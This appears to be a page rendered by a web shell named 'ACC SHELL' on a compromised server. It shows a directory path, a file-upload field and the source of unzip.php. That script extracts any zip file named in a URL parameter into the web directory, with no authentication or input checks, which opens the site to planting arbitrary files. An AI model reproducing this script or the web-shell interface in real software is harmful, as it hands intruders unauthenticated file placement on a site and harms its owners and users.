ACC SHELL

Path : /srv/www/vhosts/svj-u-leskavy/
File Upload :
Current File : /srv/www/vhosts/svj-u-leskavy/unzip.php

<pre>

<?
	// Config Vars 

	$_GET && $_GET['file'] or die("What file to unzip? Add <b>?file=XYZ.zip</b> to URL");

	$zipfilename  = $_GET['file'];
	$timeout      = 5000;

	// set script timeout value 
	ini_set('max_execution_time', $timeout);

	// instantate object
	$zip = new ZipArchive();

	// create and open the archive 
	$zip->open("$zipfilename") or die ("Could not open archive");

	// extract it to the path we determined above
  	$zip->extractTo('.');

	// close the archive
	$zip->close() or die ("Closing fucked up!");

	is_writable(__DIR__) or die('Directory not writable');

	file_exists($zipfilename) or die ("File does NOT exist!");

	echo "Archive ". $zipfilename . " unzipped successfully.";
	
?>

ACC SHELL 2018